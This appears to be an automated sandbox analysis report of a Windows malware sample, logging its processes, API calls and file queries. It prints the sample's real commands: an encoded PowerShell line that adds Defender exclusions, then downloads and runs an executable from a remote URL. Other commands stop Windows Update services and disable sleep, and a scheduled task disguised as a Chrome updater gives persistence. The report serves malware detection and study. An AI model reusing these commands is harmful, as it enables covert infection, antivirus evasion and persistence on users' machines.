Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAaQBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABsAHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBpAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwBwAHIAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AGEAcgB6AGEAbgByAGUALwBtAHkAcgBlAHAAbwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAGEALwBzAHQAZQBhAG0ALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHEAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwAuAGUAeABlACcAKQApADwAIwB2AHQAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbABzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwB2AGMALgBlAHgAZQAnACkAPAAjAGcAZwBtACMAPgA="	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\svc.exe "C:\Users\user\AppData\Local\Temp\svc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagwaaqbmacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmacabsahmaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmaawbpagqaiwa+acaalqbgag8acgbjaguaiaa8acmacwbwahiaiwa+adsakaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqargbpagwazqaoaccaaab0ahqacabzadoalwavagcaaqb0aggadqbiac4aywbvag0alwb0ageacgb6ageabgbyagualwbtahkacgblahaabwavahiazqbsaguayqbzaguacwavagqabwb3ag4ababvageazaavagealwbzahqazqbhag0algblahgazqanacwaiaa8acmadqbnagwaiwa+acaakabkag8aaqbuac0auabhahqaaaagadwaiwbkaheayqajad4aiaatafaayqb0aggaiaakaguabgb2adoavablag0acaagadwaiwbjahoacqajad4aiaataemaaabpagwazabqageadaboacaajwbzahyaywauaguaeablaccakqapadwaiwb2ahqazwajad4aowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagadwaiwb1ahcazgajad4aiaaoaeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6afqazqbtahaaiaa8acmababzagyaiwa+acaalqbdaggaaqbsagqauabhahqaaaagaccacwb2agmalgblahgazqanackapaajagcazwbtacmapga="
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#tcvsvxpo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; }
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagwaaqbmacmapgagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaa8acmacabsahmaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmaawbpagqaiwa+acaalqbgag8acgbjaguaiaa8acmacwbwahiaiwa+adsakaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algboaguadaauafcazqbiaemababpaguabgb0ackalgbeag8adwbuagwabwbhagqargbpagwazqaoaccaaab0ahqacabzadoalwavagcaaqb0aggadqbiac4aywbvag0alwb0ageacgb6ageabgbyagualwbtahkacgblahaabwavahiazqbsaguayqbzaguacwavagqabwb3ag4ababvageazaavagealwbzahqazqbhag0algblahgazqanacwaiaa8acmadqbnagwaiwa+acaakabkag8aaqbuac0auabhahqaaaagadwaiwbkaheayqajad4aiaatafaayqb0aggaiaakaguabgb2adoavablag0acaagadwaiwbjahoacqajad4aiaataemaaabpagwazabqageadaboacaajwbzahyaywauaguaeablaccakqapadwaiwb2ahqazwajad4aowagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagadwaiwb1ahcazgajad4aiaaoaeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6afqazqbtahaaiaa8acmababzagyaiwa+acaalqbdaggaaqbsagqauabhahqaaaagaccacwb2agmalgblahgazqanackapaajagcazwbtacmapga="	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#tcvsvxpo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'googleupdatetaskmachineqc' /tr '''c:\program files\google\chrome\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\google\chrome\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'googleupdatetaskmachineqc' -user 'system' -runlevel 'highest' -force; }	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD411C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

16_2_00007FF6CD411C64

Source: C:\Windows\System32\dialer.exe

Code function: 16_2_00007FF6CD411C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

16_2_00007FF6CD411C64

Source: dwm.exe, 0000001A.00000000.1789115824.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001A.00000002.2969493100.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000017.00000000.1771428651.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000017.00000002.2944636202.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.1789758214.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000017.00000000.1771428651.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000017.00000002.2944636202.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.1789758214.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000017.00000000.1771428651.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000017.00000002.2944636202.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.1789758214.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000017.00000000.1771428651.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000017.00000002.2944636202.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001A.00000000.1789758214.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\winlogon.exe

Code function: 23_2_00000225DC6214A0 cpuid

23_2_00000225DC6214A0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
